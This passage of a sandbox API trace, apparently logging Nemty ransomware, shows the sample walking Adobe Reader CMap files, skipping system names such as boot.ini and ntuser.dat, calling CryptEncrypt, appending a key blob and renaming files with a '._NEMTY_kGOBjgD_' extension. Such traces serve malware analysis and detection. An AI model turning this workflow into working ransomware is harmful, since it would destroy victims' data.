0xffffffff [0213.312] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.312] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.312] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0213.313] CloseHandle (hObject=0xffffffff) returned 0 [0213.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0213.313] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0213.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0213.313] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0213.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0213.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0213.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0213.313] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0213.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0213.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0213.313] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS2004-UTF16-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis2004-utf16-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS2004-UTF16-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis2004-utf16-v._nemty_kgobjgd_")) returned 0 [0213.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0213.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0213.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0213.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0213.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0213.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0213.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0213.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0213.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0213.313] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.313] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2aad3, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniKS-UCS2-H", cAlternateFileName="UNIKS-~4")) returned 1 [0213.313] lstrcmpiW (lpString1="UniKS-UCS2-H", lpString2=".") returned 1 [0213.313] lstrcmpiW (lpString1="UniKS-UCS2-H", lpString2="..") returned 1 [0213.313] lstrcmpiW (lpString1="UniKS-UCS2-H", lpString2="...") returned 1 [0213.313] lstrcmpiW (lpString1="UniKS-UCS2-H", lpString2="windows") returned -1 [0213.313] lstrcmpiW (lpString1="UniKS-UCS2-H", lpString2="$RECYCLE.BIN") returned 1 [0213.313] lstrcmpiW (lpString1="UniKS-UCS2-H", lpString2="rsa") returned 1 [0213.313] lstrcmpiW (lpString1="UniKS-UCS2-H", lpString2="NTDETECT.COM") returned 1 [0213.314] lstrcmpiW (lpString1="UniKS-UCS2-H", lpString2="ntldr") returned 1 [0213.314] lstrcmpiW (lpString1="UniKS-UCS2-H", lpString2="MSDOS.SYS") returned 1 [0213.314] lstrcmpiW (lpString1="UniKS-UCS2-H", lpString2="IO.SYS") returned 1 [0213.314] lstrcmpiW (lpString1="UniKS-UCS2-H", lpString2="boot.ini") returned 1 [0213.314] lstrcmpiW (lpString1="UniKS-UCS2-H", lpString2="boot.ini") returned 1 [0213.314] lstrcmpiW (lpString1="UniKS-UCS2-H", lpString2="AUTOEXEC.BAT") returned 1 [0213.314] lstrcmpiW (lpString1="UniKS-UCS2-H", lpString2="ntuser.dat") returned 1 [0213.314] lstrcmpiW (lpString1="UniKS-UCS2-H", lpString2="desktop.ini") returned 1 [0213.314] lstrcmpiW (lpString1="UniKS-UCS2-H", lpString2="CONFIG.SYS") returned 1 [0213.314] lstrcmpiW (lpString1="UniKS-UCS2-H", lpString2="RECYCLER") returned 1 [0213.314] lstrcmpiW (lpString1="UniKS-UCS2-H", lpString2="BOOTSECT.BAK") returned 1 [0213.314] lstrcmpiW (lpString1="UniKS-UCS2-H", lpString2="bootmgr") returned 1 [0213.314] lstrcmpiW (lpString1="UniKS-UCS2-H", lpString2="programdata") returned 1 [0213.314] lstrcmpiW (lpString1="UniKS-UCS2-H", lpString2="appdata") returned 1 [0213.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UCS2-H", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0213.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UCS2-H", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniKS-UCS2-H", lpUsedDefaultChar=0x0) returned 12 [0213.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0213.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UCS2-H", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0213.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UCS2-H", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniKS-UCS2-H", lpUsedDefaultChar=0x0) returned 12 [0213.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0213.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UCS2-H", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0213.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UCS2-H", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniKS-UCS2-H", lpUsedDefaultChar=0x0) returned 12 [0213.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UCS2-H", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0213.314] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniKS-UCS2-H", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniKS-UCS2-H", lpUsedDefaultChar=0x0) returned 12 [0213.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0213.314] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0213.314] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0213.314] Sleep (dwMilliseconds=0x5) [0213.328] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x32ca7670, dwHighDateTime=0x1d561e8)) [0213.328] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x32ca7670, dwHighDateTime=0x1d561e8)) [0213.328] GetLastError () returned 0x5 [0213.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0213.328] GetLastError () returned 0x5 [0213.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0213.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0213.328] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0213.328] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0213.328] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0213.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0213.329] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="+QQkxWZjfloOiCVCBJAzo53F5bbZhfzfU3gkiP0M5kzPc/lb87w8+TXpxaLJnM1R\r\nU6mRtU18fcvcqQcZKSnjTBS3CxE6zX8AmPHOiO4MT4708Yh8UdfRRXaRyNn8ePGF\r\nISl2qgmdiHDCbZRXN+cXODEWVWgdinnrFqwATj8+i8UQwbPMqH00lzcCttsEwnRD\r\nU9+K48OKgxTA3FSAXGdd5YiukKCdZnYK17ePtPIpTg5xyrohDuc6JFwb+HX3jWW2\r\nTxxXYJIr1zH2w+4dJIKtiqSr3rvwbeBZuDQsFR/ETO2LtgfcQpvDhucMLbOYZxbI\r\nM2hLaMvgq+LKmQMBGPVnqg==\r\n", pcchString=0x653e91c) returned 1 [0213.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0213.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0213.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0213.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0213.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0213.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0213.329] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UCS2-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\uniks-ucs2-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0213.329] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0213.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0213.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.329] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.338] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.338] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.348] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.348] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.348] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.348] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.357] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.357] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.367] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.367] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.377] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.377] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.377] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.386] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.386] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.396] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.396] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.396] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.396] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.405] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.405] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.415] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.415] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.424] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.424] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.424] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.430] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.430] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.431] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.431] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.437] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.437] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0213.437] CloseHandle (hObject=0xffffffff) returned 0 [0213.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0213.437] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0213.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0213.437] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0213.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0213.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0213.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0213.437] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0213.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0213.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0213.437] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UCS2-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\uniks-ucs2-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UCS2-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\uniks-ucs2-h._nemty_kgobjgd_")) returned 0 [0213.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0213.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0213.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0213.437] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: 